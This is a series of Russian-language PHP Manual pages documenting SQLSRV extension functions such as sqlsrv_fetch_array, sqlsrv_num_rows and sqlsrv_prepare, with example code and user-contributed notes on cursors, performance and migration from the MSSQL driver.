Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_query или sqlsrv_prepare.

fetchType

Предопределённая константа, указывающая тип возвращаемого массива. Возможные значения: SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC или SQLSRV_FETCH_BOTH (по умолчанию).

Тип выборки SQLSRV_FETCH_ASSOC не следует использовать при использовании набора результатов с несколькими столбцами с одинаковым именем.

row

Задаёт строку для доступа в результирующем наборе, в котором используется прокручиваемый курсор. Возможные значения: SQLSRV_SCROLL_NEXT, SQLSRV_SCROLL_PRIOR, SQLSRV_SCROLL_FIRST, SQLSRV_SCROLL_LAST, SQLSRV_SCROLL_ABSOLUTE и SQLSRV_SCROLL_RELATIVE (по умолчанию). Если этот параметр указан, fetchType должен быть явно определён.

offset

Указывает строку, к которой будет осуществляться доступ, если для параметра строки установлено значение SQLSRV_SCROLL_ABSOLUTE или SQLSRV_SCROLL_RELATIVE. Обратите внимание, что первая строка в наборе результатов имеет индекс 0.

Возвращаемые значения

В случае успешного выполнения возвращает массив, null, если в наборе результатов больше нет строк и false в случае возникновения ошибки.

Примеры

Пример #1 Получение ассоциативного массива.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
echo $row['LastName'].", ".$row['FirstName']."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Пример #2 Получение числового массива.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
echo $row[0].", ".$row[1]."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Примечания

Не указанный fetchType или явное использование константы SQLSRV_FETCH_TYPE в приведённых выше примерах вернёт массив, у которого ключи будут как ассоциативные, так и числовые.

Если более одного столбца возвращается с одним и тем же именем, последний столбец будет иметь приоритет. Чтобы избежать конфликтов имён полей, используйте псевдонимы.

Если возвращается столбец без имени, ассоциативный ключ для элемента массива будет пустой строкой ("").

Смотрите также

  • sqlsrv_connect() - Открывает соединение с базой данных Microsoft SQL Server
  • sqlsrv_query() - Подготавливает и выполняет запрос
  • sqlsrv_errors() - Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV
  • sqlsrv_fetch() - Делает следующую строку в наборе результатов доступной для чтения

User Contributed Notes

albornozg dot rene at gmail dot com 06-Nov-2018 04:43
Example with an iteration ( SQLSRV_SCROLL_ABSOLUTE ).

for ($i=0; $i < sqlsrv_num_rows($stmt); $i++) {

     $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC,   SQLSRV_SCROLL_ABSOLUTE   ,  $i  );
     echo "value of column 1: '.trim($row[0]).', value of column 2: '.trim($row[1]);

}
dlyasaitov184 at yandex dot ru 10-Aug-2017 09:55
When I try to  use SQLSRV_FETCH_BOTH for SQL-statement   about "select ... from [viewName]" result set contained superfluous fields( duplicates and other fields from joined tables).  Other types of fetchType work correctly.
Anonymous 03-Apr-2014 07:15
Note that while the docs say to avoid SQLSRV_FETCH_ASSOC when dealing with result sets where multiple fields have the same name, there are cases when this is perfectly valid to do.

Consider the following query:

SELECT * FROM a INNER JOIN b ON a.id = b.id

For any row, if you fetch NUMERIC you'll get a field for both a.id and b.id, which probably isn't very useful.

If you fetch ASSOC, you'll get one field for "id", and given that it's always the same in both tables (because your query insists it is so), you're not at risk of losing anything.

If you're generating output based on an unknown number of fields, the ASSOC behavior might be preferred.


Получает следующую строку данных в наборе результатов как объект

  • « sqlsrv_fetch_array
  • sqlsrv_fetch »
  • PHP Manual
  • Функции SQLSRV
  • Получает следующую строку данных в наборе результатов как объект

sqlsrv_fetch_object

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_fetch_object — Получает следующую строку данных в наборе результатов как объект

Описание

sqlsrv_fetch_object(
resource $stmt,
string $className = ?,
array $ctorParams = ?,
int $row = ?,
int $offset = ?
): mixed

Извлекает следующую строку данных в наборе результатов как экземпляр указанного класса со свойствами, соответствующими именам полей строки и значениям, которые соответствуют значениям полей строки.

Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_query() или sqlsrv_execute().

className

Имя класса для создания экземпляра. Если имя класса не указано, создаётся экземпляр stdClass.

ctorParams

Значения передаваемые конструктору указанного класса. Если конструктор указанного класса принимает параметры, необходимо предоставить массив ctorParams.

row

Строка, к которой нужно получить доступ. Параметр можно использовать только в том случае, если указанный оператор был подготовлен с помощью курсора с возможностью прокрутки. В этом случае этот параметр может принимать одно из следующих значений:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Указывает строку, к которой будет осуществляться доступ, если для параметра строки установлено значение SQLSRV_SCROLL_ABSOLUTE или SQLSRV_SCROLL_RELATIVE. Обратите внимание, что первая строка в наборе результатов имеет индекс 0.

Возвращаемые значения

В случае успешного выполнения возвращает объект, null, если в наборе результатов больше нет строк и false в случае возникновения ошибки или если указанный класс не существует.

Примеры

Пример #1 Пример использования sqlsrv_fetch_object()

В следующем примере показано, как получить строку как объект stdClass.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT fName, lName FROM Table_1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Получение каждой строки как объект.
// Поскольку класс не указан, каждая строка будет получена как объект stdClass.
// Имена свойств соответствуют именам полей.
while( $obj = sqlsrv_fetch_object( $stmt)) {
echo $obj->fName.", ".$obj->lName."<br />";
}
?>

Примечания

Если имя класса указано с необязательным параметром $className и у класса есть свойства, имена которых совпадают с именами полей набора результатов, к свойствам применяются соответствующие значения набора результатов. Если имя поля набора результатов не соответствует свойству класса, свойство с именем поля набора результатов добавляется к объекту, а значение набора результатов применяется к свойству. При использовании параметра $className применяются следующие правила:

  • При сопоставлении имён свойств поля учитывается регистр.
  • Сопоставление свойств поля происходит независимо от модификаторов доступа.
  • Типы данных свойств класса игнорируются при применении значения поля к свойству.
  • Если класс не существует, функция возвращает false и добавляет ошибку в коллекцию ошибок.
Независимо от того, указан ли параметр $className, если возвращается поле без имени, значение поля будет проигнорировано, а в коллекцию ошибок будет добавлено предупреждение.

При использовании набора результатов, содержащего несколько столбцов с одинаковым именем, может быть лучше использовать sqlsrv_fetch_array() или комбинацию sqlsrv_fetch() и sqlsrv_get_field().

Смотрите также

  • sqlsrv_fetch() - Делает следующую строку в наборе результатов доступной для чтения
  • sqlsrv_fetch_array() - Возвращает строку как массив

User Contributed Notes

There are no user contributed notes for this page.


Делает следующую строку в наборе результатов доступной для чтения

  • « sqlsrv_fetch_object
  • sqlsrv_field_metadata »
  • PHP Manual
  • Функции SQLSRV
  • Делает следующую строку в наборе результатов доступной для чтения

sqlsrv_fetch

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_fetch — Делает следующую строку в наборе результатов доступной для чтения

Описание

sqlsrv_fetch(resource $stmt, int $row = ?, int $offset = ?): mixed

Делает следующую строку в наборе результатов доступной для чтения. Используйте sqlsrv_get_field() для чтения полей строки.

Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_query() или sqlsrv_execute().

row

Строка, к которой нужно получить доступ. Параметр можно использовать только в том случае, если указанный оператор был подготовлен с помощью курсора с возможностью прокрутки. В этом случае параметр может принимать одно из следующих значений:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Указывает строку, к которой будет осуществляться доступ, если для параметра строки установлено значение SQLSRV_SCROLL_ABSOLUTE или SQLSRV_SCROLL_RELATIVE. Обратите внимание, что первая строка в наборе результатов имеет индекс 0.

Возвращаемые значения

Возвращает true, если следующая строка набора результатов была успешно получена, false в случае возникновения ошибки и null, если в наборе результатов больше нет строк.

Примеры

Пример #1 Пример использования sqlsrv_fetch()

В следующем примере показано, как получить строку с помощью sqlsrv_fetch() и получить поля строки с помощью sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
FROM Table_1
WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Сделайте первую (и в данном случае единственную) строку набора результатов доступной для чтения.
if( sqlsrv_fetch( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

// Получите поля строки. Индексы полей начинаются с 0 и должны извлекаться по порядку.
// Получение полей строки по имени не поддерживается sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

Смотрите также

  • sqlsrv_get_field() - Получает данные поля из текущей выбранной строки
  • sqlsrv_fetch_array() - Возвращает строку как массив
  • sqlsrv_fetch_object() - Получает следующую строку данных в наборе результатов как объект

User Contributed Notes

There are no user contributed notes for this page.


Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query

  • « sqlsrv_fetch
  • sqlsrv_free_stmt »
  • PHP Manual
  • Функции SQLSRV
  • Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query

sqlsrv_field_metadata

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_field_metadata — Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare() или sqlsrv_query()

Описание

sqlsrv_field_metadata(resource $stmt): mixed

Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare() или sqlsrv_query(). sqlsrv_field_metadata() может вызываться для оператора до или после выполнения оператора.

Список параметров

stmt

Ресурс оператора, для которого возвращаются метаданные.

Возвращаемые значения

В случае успешного выполнения возвращает массив массивов. В противном случае возвращает false. Каждый возвращаемый массив описывается следующей таблицей:

Массив, возвращаемый sqlsrv_field_metadata
Ключ | Описание
Name | Имя поля.
Type | Числовое значение для типа SQL.
Size | Количество символов для полей символьного типа, количество байтов для полей двоичного типа или null для других типов.
Precision | Точность для типов переменной точности, null для других типов.
Scale | Масштаб для типов масштабируемых типов данных, null для других типов.
Nullable | Перечисление, указывающее, допускает ли столбец значение NULL, недопустимое значение NULL или неизвестно.
Для получения дополнительной информации смотрите » sqlsrv_field_metadata в документации Microsoft SQLSRV.

Примеры

Пример #1 Пример использования sqlsrv_field_metadata()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"AdventureWorks", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_prepare( $conn, $sql );

foreach( sqlsrv_field_metadata( $stmt ) as $fieldMetadata ) {
foreach( $fieldMetadata as $name => $value) {
echo "$name: $value<br />";
}
echo "<br />";
}
?>

Смотрите также

  • sqlsrv_client_info() - Возвращает информацию о клиенте и указанном подключении

User Contributed Notes

There are no user contributed notes for this page.


Освобождает все ресурсы для указанного оператора

  • « sqlsrv_field_metadata
  • sqlsrv_get_config »
  • PHP Manual
  • Функции SQLSRV
  • Освобождает все ресурсы для указанного оператора

sqlsrv_free_stmt

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_free_stmt — Освобождает все ресурсы для указанного оператора

Описание

sqlsrv_free_stmt(resource $stmt): bool

Освобождает все ресурсы для указанного оператора. Оператор нельзя использовать после того, как для него была вызвана функция sqlsrv_free_stmt(). Если sqlsrv_free_stmt() вызывается в выполняющемся операторе, который изменяет состояние сервера, выполнение оператора прекращается и оператор откатывается.

Список параметров

stmt

Оператор, ресурсы которого необходимо освободить. Обратите внимание, что null - допустимое значение параметра. Это позволяет вызывать функцию в скрипте несколько раз.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_free_stmt()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

/*-------------------------------
Здесь можно обработать результаты запроса.
-------------------------------*/

/* Освободите ресурсы для оператора */
sqlsrv_free_stmt( $stmt);

?>

Примечания

Основное различие между sqlsrv_free_stmt() и sqlsrv_cancel() заключается в том, что ресурс оператора, отменённый с помощью sqlsrv_cancel(), может быть повторно выполнен, если он был создан с помощью sqlsrv_prepare(). Ресурс оператора, отменённый с помощью sqlsrv_free_statement(), не может быть повторно выполнен.

Смотрите также

  • sqlsrv_cancel() - Отменяет оператор

User Contributed Notes

Anonymous 19-Jan-2015 07:28
If you accidentally call this with an invalid $stmt resource, you may see unexpected fatal errors.

I had left behind a call here when cleaning up some code and this caused the my IIS server to generate an error 500 resource not found error.  Furthermore it seemed to only affect some users and not all and I could not isolate why only selected users got the error when it was called for all users.


Возвращает значение указанного параметра конфигурации

  • « sqlsrv_free_stmt
  • sqlsrv_get_field »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает значение указанного параметра конфигурации

sqlsrv_get_config

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_get_config — Возвращает значение указанного параметра конфигурации

Описание

sqlsrv_get_config(string $setting): mixed

Возвращает значение указанного параметра конфигурации.

Список параметров

setting

Имя параметра, для которого возвращается значение. Список настраиваемых параметров смотрите в разделе sqlsrv_configure().

Возвращаемые значения

Возвращает значение указанного параметра. Если указан неверный параметр, возвращается false.

Смотрите также

  • sqlsrv_configure() - Изменяет конфигурацию обработки ошибок драйвера и ведения журнала

User Contributed Notes

There are no user contributed notes for this page.


Получает данные поля из текущей выбранной строки

  • « sqlsrv_get_config
  • sqlsrv_has_rows »
  • PHP Manual
  • Функции SQLSRV
  • Получает данные поля из текущей выбранной строки

sqlsrv_get_field

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_get_field — Получает данные поля из текущей выбранной строки

Описание

sqlsrv_get_field(resource $stmt, int $fieldIndex, int $getAsType = ?): mixed

Получает данные поля из текущей выбранной строки. Доступ к полям должен осуществляться по порядку. Индексы полей начинаются с 0.

Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_query() или sqlsrv_execute().

fieldIndex

Индекс поля, которое нужно получить. Индексы полей начинаются с 0. К полям нужно обращаться по порядку. т.е. если вы обращаетесь к полю с индексом 1, то индекс поля 0 будет недоступен.

getAsType

Тип данных PHP для возвращаемых данных поля. Если этот параметр не установлен, данные поля будут возвращены как тип данных PHP по умолчанию. Для получения информации о типах данных PHP по умолчанию смотрите » Типы данных PHP по умолчанию в документации Microsoft SQLSRV.

Возвращаемые значения

В случае успешного выполнения возвращает данные из указанного поля. Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_get_field()

В следующем примере показано, как получить строку с помощью sqlsrv_fetch() и получить поля строки с помощью sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
FROM Table_1
WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

// Сделайте первую (и в данном случае единственную) строку набора результатов доступной для чтения.
if( sqlsrv_fetch( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

// Получите поля строки. Индексы полей начинаются с 0 и должны извлекаться по порядку.
// Получение полей строки по имени не поддерживается sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

Смотрите также

  • sqlsrv_fetch() - Делает следующую строку в наборе результатов доступной для чтения
  • sqlsrv_fetch_array() - Возвращает строку как массив
  • sqlsrv_fetch_object() - Получает следующую строку данных в наборе результатов как объект

User Contributed Notes

There are no user contributed notes for this page.


Указывает, есть ли у указанного оператора строки

  • « sqlsrv_get_field
  • sqlsrv_next_result »
  • PHP Manual
  • Функции SQLSRV
  • Указывает, есть ли у указанного оператора строки

sqlsrv_has_rows

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_has_rows — Указывает, есть ли у указанного оператора строки

Описание

sqlsrv_has_rows(resource $stmt): bool

Указывает, есть ли у указанного оператора строки.

Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_query() или sqlsrv_execute().

Возвращаемые значения

Возвращает true, если в указанном операторе есть строки и false, если в операторе нет строк или произошла ошибка.

Примеры

Пример #1 Пример использования sqlsrv_has_rows()

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");

if ($stmt) {
$rows = sqlsrv_has_rows( $stmt );
if ($rows === true)
echo "Есть строки. <br />";
else
echo "Нет строк. <br />";
}
?>

Смотрите также

  • sqlsrv_num_rows() - Получает количество строк в наборе результатов
  • sqlsrv_query() - Подготавливает и выполняет запрос

User Contributed Notes

Bin Ury 31-Aug-2017 04:13
This function cannot be relied on to report errors since both a existence negative and a SQL error will report the same boolean value.


Делает активным следующий результат указанного оператора

  • « sqlsrv_has_rows
  • sqlsrv_num_fields »
  • PHP Manual
  • Функции SQLSRV
  • Делает активным следующий результат указанного оператора

sqlsrv_next_result

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_next_result — Делает активным следующий результат указанного оператора

Описание

sqlsrv_next_result(resource $stmt): mixed

Делает активным следующий результат указанного оператора. Результаты включают наборы результатов, количество строк и выходные параметры.

Список параметров

stmt

Оператор, по которому вызывается следующий результат.

Возвращаемые значения

Возвращает true, если следующий результат был успешно получен, false, если произошла ошибка и null, если результатов для получения больше нет.

Примеры

Пример #1 Пример использования sqlsrv_next_result()

В следующем примере выполняется пакетный запрос, который добавляет записи в таблицу, а затем выбирает данные из таблицы. Это даёт два результата оператора: один для строк, на которые влияет INSERT, и один для строк, возвращаемых SELECT. Чтобы перейти к строкам, возвращаемым SELECT, необходимо вызвать sqlsrv_next_result(), чтобы пройти мимо первого результата.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array("Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

$query = "INSERT INTO Table_1 (id, data) VALUES (?,?); SELECT * FROM TABLE_1;";
$params = array(1, "some data");
$stmt = sqlsrv_query($conn, $query, $params);

// Использовать первый результат (строки, затронутые INSERT) без вызова sqlsrv_next_result.
echo "Затронуто строк: ".sqlsrv_rows_affected($stmt)."<br />";

// Переход к следующему результату и отображение результатов.
$next_result = sqlsrv_next_result($stmt);
if( $next_result ) {
while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)){
echo $row['id'].": ".$row['data']."<br />";
}
} elseif( is_null($next_result)) {
echo "Больше строк нет.<br />";
} else {
die(print_r(sqlsrv_errors(), true));
}
?>

Смотрите также

  • sqlsrv_query() - Подготавливает и выполняет запрос
  • sqlsrv_fetch_array() - Возвращает строку как массив
  • sqlsrv_rows_affected() - Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE

User Contributed Notes

chakin 24-Mar-2014 01:09
You can use a for loop to iterate through the results:

If you know how many results there should be it's easier, otherwise you can put a large number in the loop constructor and break when done:

<?
for ($i=0; $i< (Large # or Exact #); $i++)
{
  $rows_affected = sqlsrv_rows_affected($q2);
   if ($rows_affected === false)
    {
       echo 'Inserts Failed<br />\n';
    } else if ( $rows_affected == -1) {
       echo "No information available.<br />\n";
    }  else  {
       echo $rows_affected." rows were added.<br />\n";
    }

   $next_result = sqlsrv_next_result($q2);

    if (!$next_result)
    {
     break;
    }
}
?>


Извлекает количество полей (столбцов) оператора

  • « sqlsrv_next_result
  • sqlsrv_num_rows »
  • PHP Manual
  • Функции SQLSRV
  • Извлекает количество полей (столбцов) оператора

sqlsrv_num_fields

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_num_fields — Извлекает количество полей (столбцов) оператора

Описание

sqlsrv_num_fields(resource $stmt): mixed

Извлекает количество полей (столбцов) оператора.

Список параметров

stmt

Оператор, для которого возвращается количество полей. sqlsrv_num_fields() может вызываться для оператора до или после выполнения оператора.

Возвращаемые значения

В случае успешного выполнения возвращает количество полей. В противном случае возвращает false.

Примеры

Пример #1 Пример использования sqlsrv_num_fields()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_query($conn, $sql);
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true));
}

$numFields = sqlsrv_num_fields( $stmt );

while( sqlsrv_fetch( $stmt )) {
// Пройдитесь по полям каждой строки.
for($i = 0; $i < $numFields; $i++) {
echo sqlsrv_get_field($stmt, $i)." ";
}
echo "<br />";
}
?>

Смотрите также

  • sqlsrv_field_metadata() - Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query
  • sqlsrv_fetch() - Делает следующую строку в наборе результатов доступной для чтения
  • sqlsrv_get_field() - Получает данные поля из текущей выбранной строки

User Contributed Notes

There are no user contributed notes for this page.


Получает количество строк в наборе результатов

  • « sqlsrv_num_fields
  • sqlsrv_prepare »
  • PHP Manual
  • Функции SQLSRV
  • Получает количество строк в наборе результатов

sqlsrv_num_rows

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_num_rows — Получает количество строк в наборе результатов

Описание

sqlsrv_num_rows(resource $stmt): mixed

Извлекает количество строк в наборе результатов. Функция требует, чтобы ресурс оператора был создан с помощью статического курсора или курсора набора ключей. Для получения дополнительной информации смотрите описание функций sqlsrv_query(), sqlsrv_prepare() или » Указание типа курсора и выбор строк в документации Microsoft SQLSRV.

Список параметров

stmt

Оператор, для которого возвращается количество строк. Ресурс оператора должен быть создан с помощью статического курсора или курсора набора ключей. Для получения дополнительной информации смотрите описание функций sqlsrv_query(), sqlsrv_prepare() или » Указание типа курсора и выбор строк в документации Microsoft SQLSRV.

Возвращаемые значения

Возвращает количество строк, полученных в случае успешного выполнения или false в случае возникновения ошибки. Если используется прямой курсор (по умолчанию) или динамический курсор, возвращается false.

Примеры

Пример #1 Пример использования sqlsrv_num_rows()

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$sql = "SELECT * FROM Table_1";
$params = array();
$options = array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );

$row_count = sqlsrv_num_rows( $stmt );

if ($row_count === false)
echo "Ошибка при получении количества строк.";
else
echo $row_count;
?>

Смотрите также

  • sqlsrv_has_rows() - Указывает, есть ли у указанного оператора строки
  • sqlsrv_rows_affected() - Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE

User Contributed Notes

wazz3r at gmail dot com 21-Jan-2013 02:04
Try to avoid using this function if you need good performance. Specifying "Scrollable" in the options will make you queries take ages to run. If your result contains less than 5000 rows (might vary on different hardware) its faster to not use "Scrollable" and loop over them in php instead.

If you need to check if a result contains rows use "sqlsrv_has_rows()", this function works without "Scrollable". After removing all my "Scrollable" queries, my page loadtime went from 900ms to 60ms.

To demonstrate, here is a query that returns 100 rows:
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q,array(), array( "Scrollable" => SQLSRV_CURSOR_KEYSET ));

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This takes about 10s! Thats 10 qps..

Now if we remove "Scrollable":
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q);

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This will run in 300ms, about 334 qps!
smhahmadi 30-Dec-2012 09:50
Note that when migrating your MS SQL Server PHP Driver from MSSQL to SQLSRV, if you have used mssql_num_rows, replacing them with sqlsrv_num_rows and replacing mssql_query($query, $mssql_link) with sqlsrv_query($sqlsrv_link, $query) calls will make your sqlsrv_num_rows calls fail. In order to avoid that, you should specify either static, keyset or buffered cursors (buffered cursor has been available since SQLSRV 3.0) when calling sqlsrv_query. For example,
<?php
mssql_query($query, $mssql_link);
// is equivalent to
sqlsrv_query($sqlsrv_link, $query, array(), array('Scrollable' => 'buffered'));
?>
Using the buffered cursor is "more equivalent" than using the static or keyset cursors to simple mssql_query calls, since it caches the entire result set in client memory.


Подготавливает запрос к исполнению

  • « sqlsrv_num_rows
  • sqlsrv_query »
  • PHP Manual
  • Функции SQLSRV
  • Подготавливает запрос к исполнению

sqlsrv_prepare

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_prepare — Подготавливает запрос к исполнению

Описание

sqlsrv_prepare(
resource $conn,
string $sql,
array $params = ?,
array $options = ?
): mixed

Подготавливает запрос к исполнению. Функция идеально подходит для подготовки запроса, который будет выполняться несколько раз с разными значениями параметров.

Список параметров

conn

Ресурс подключения, возвращаемый sqlsrv_connect().

sql

Строка, определяющая запрос, который нужно подготовить и выполнить.

params

Массив, определяющий информацию о параметрах при выполнении запроса. Элементы массива могут быть любыми из следующих:

  • Строковое значение
  • Переменная PHP
  • Массив с такой структурой: array($value [, $direction [, $phpType [, $sqlType]]])
В следующей таблице описаны элементы в структуре массива выше:

Структура массива
Элемент | Описание
$value | Строковое значение, переменная PHP или переменная PHP, переданная по ссылке.
$direction (необязательный) | Одна из следующих констант SQLSRV, используемых для указания направления параметра: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. Значение по умолчанию - SQLSRV_PARAM_IN.
$phpType (необязательный) | Константа SQLSRV_PHPTYPE_*, указывающая тип данных PHP возвращаемого значения.
$sqlType (необязательный) | Константа SQLSRV_SQLTYPE_*, указывающая тип данных SQL Server входного значения.
options

Массив, определяющий параметры свойств запроса. Поддерживаемые ключи описаны в следующей таблице:

Опции запроса
Ключ | Значения | Описание
QueryTimeout | Положительное целочисленное значение. | Устанавливает время ожидания запроса в секундах. По умолчанию драйвер будет ожидать результатов бесконечно.
SendStreamParamsAtExec | true или false (по умолчанию true) | Настраивает драйвер для отправки всех данных потока при выполнении (true) или для отправки данных потока частями (false). По умолчанию установлено значение true. Для получения дополнительной информации смотрите sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, или SQLSRV_CURSOR_KEYSET | Смотрите » Указание типа курсора и выбор строк в документации Microsoft SQLSRV.

Возвращаемые значения

Возвращает ресурс оператора в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_prepare()

В этом примере показано, как подготовить оператор с помощью sqlsrv_prepare() и повторно выполнить его несколько раз (с разными значениями параметров) с помощью sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
SET OrderQty = ?
WHERE SalesOrderID = ?";

// Инициализация параметров и подготовка запроса.
// Переменные $qty и $id связаны с оператором $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
die( print_r( sqlsrv_errors(), true));
}

// Настройка информации SalesOrderDetailID и OrderQty.
// Этот массив сопоставляет идентификатор заказа с количеством заказа в парах ключ => значение.
$orders = array( 1=>10, 2=>20, 3=>30);

// Выполнение запроса для каждого заказа.
foreach( $orders as $id => $qty) {
// Поскольку $id и $qty привязаны к $stmt1,
// их обновлённые значения используются при каждом выполнении запроса.
if( sqlsrv_execute( $stmt ) === false ) {
die( print_r( sqlsrv_errors(), true));
}
}
?>

Примечания

